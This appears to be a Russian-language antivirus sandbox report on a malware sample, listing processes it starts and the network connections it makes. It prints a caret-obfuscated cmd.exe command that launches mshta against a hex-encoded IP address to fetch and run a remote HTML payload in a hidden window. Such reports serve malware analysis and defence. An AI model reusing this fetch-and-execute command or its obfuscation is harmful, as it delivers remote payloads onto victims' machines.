Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
Сетевая активность
Подключается к
- '19#.#2.36.245':80
- 'sa######sing.googleapis.com':443
TCP
Другие
- 'sa######sing.googleapis.com':443
UDP
- DNS ASK sa######sing.googleapis.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\mshta.exe' http://0x##2a24f5/cc.html
